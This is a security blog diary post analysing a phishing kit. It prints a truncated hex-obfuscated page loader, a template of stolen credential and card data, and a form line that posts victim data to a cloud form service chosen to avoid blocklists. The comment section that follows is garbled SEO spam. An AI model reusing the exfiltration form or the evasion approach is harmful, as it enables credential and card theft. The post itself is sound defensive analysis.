Phishing Kit (Ab)Using Cloud Services

Published: 2017-12-01
Last Updated: 2017-12-01 08:21:56 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

When you build a phishing kit, they are several critical points to address. You must generate a nice-looking page which will match as close as possible to the original one and you must work stealthily to not be blocked or, at least, be blocked as late as possible.

Here is a simple phishing kit example. It starts with a simple pop-up to lure the victim:

Then a classic fake blurred invoice is displayed. The target is asked to provide his/her credentials to unlock the secret document. The page also contains some animated GIFs that make it more “dynamic” or attractive. Nothing fancy…

Let's check the original code. The obfuscation technique is simple: hex-encoding:

<script language=javascript>document.write(unescape('%0A%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%20%50%55%42%4C%49%43%20%22%2D%2F%2F%57%33%43%2F%2F%44%54
%44%20%58%48%54%4D%4C%20%31%2E%30%20%54%72%61%6E%73%69%74%69%6F%6E%61%6C%2F%2F%45%4E%22%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E%77%33%2E%6F%72%67%2F%54%52%2F
%78%68%74%6D%6C%31%2F%44%54%44%2F%78%68%74%6D%6C%31%2D%74%72%61%6E%73%69%74%69%6F%6E%61%6C%2E%64%74%64%22%3E%0A%3C%68%74%6D%6C%20%78%6D%6C%6E%73%3D%22%68%74
%74%70%3A%2F%2F%77%77%77%2E%77%33%2E%6F%72%67%2F%31%39%39%39%2F%78%68%74%6D%6C%22%3E%3C%68%65%61%64%3E%0A%0A%0A%3C%6C%69%6E%6B%20%72%65%6C%3D%22%69%63%6F%6E
%22%20%74%79%70%65%3D%22%69%6D%61%67%65%2F%6A%70%67%22%20%68%72%65%6 … Redacted … C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E'))</script>

Easy to decode with a tool like JSDetox[1]. Let’s have a look at the decoded HTML. When analyzing this kind of phishing kit, the first thing I’m looking for is the HTML form details. Let’s grep for “POST”. Usually, form data are posted to a PHP script that writes a flat text file on the compromised server. Here is an example found a few weeks ago:

---------------------------------------------------------------------------
Netflix Info
---------------------------------------------------------------------------
Login Details
---------------------------------------------------------------------------
Username:
Password: 
---------------------------------------------------------------------------
Personal Details
---------------------------------------------------------------------------
Full Name: 
Date of Birth: 
Address: 
Mailbox:
City: 
Postcode: 
Phone Number: 
---------------------------------------------------------------------------
Card Details
---------------------------------------------------------------------------
Name on Card: 
Card Number: 
Expiry Date: 
CVV Code: 
Card BIN: 
Card Bank:
Card Type: 
IBAN: 
---------------------------------------------------------------------------
Sent from x.x.x.x on 10-12-2017 6:16:am via Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1

This is very simple but this method is facing many problems:

  • If the compromised server is cleaned, there is a risk for the attacker to lose all the stolen data. 
  • Such data are not easy to parse
  • The domain/IP address of the server can be quickly reported as malicious and injected in lists of IOCs.

To prevent this, attackers are trying to find alternative solutions to host their data in safe places. If we see icons, pictures and piece of code stored in cloud services, the sample above uses another well-known cloud service to host the data posted by the HTML form: It posts the data to a JotForm account:

<form method="POST" name="login_form" id="login_form" action="https://submit.jotformeu.com/submit/xxxxxxxxxx8564/"; target="_self”/>

JotForm[2] is a cloud service that helps to build online forms. Advantages for the attackers are multiple. Collected data can be analyzed, exported, each submits to a form can generate email notifications, everything is HTTPS based and… probably the most interesting: jotform.com is ranked #6532 in the Alexa top-1M[3] and jotformeu.com is ranked #139946. So, chances to be blocked are reduced because jotform is used by many valid websites and many organizations exclude the Top-X websites from their blocklists to avoid annoying users.

In the case described here, I contacted JotForm and, after some investigations, they suspended the abused account within a few hours. Thanks to them!

[1] https://github.com/svent/jsdetox
[2] https://www.jotform.com/
[3] http://s3.amazonaws.com/alexa-static/top-1m.csv.zip

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: cloud phishing
0 comment(s)
ISC Stormcast For Friday, December 1st 2017 https://isc.sans.edu/podcastdetail.html?id=5775

Comments

cwqwqwq
eweew<a href="https://www.seocheckin.com/edu-sites-list/">mashood</a>
WQwqwqwq[url=https://www.seocheckin.com/edu-sites-list/]mashood[/url]
dwqqqwqwq mashood
[https://isc.sans.edu/diary.html](https://isc.sans.edu/diary.html)
[https://isc.sans.edu/diary.html | https://isc.sans.edu/diary.html]
What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/

Diary Archives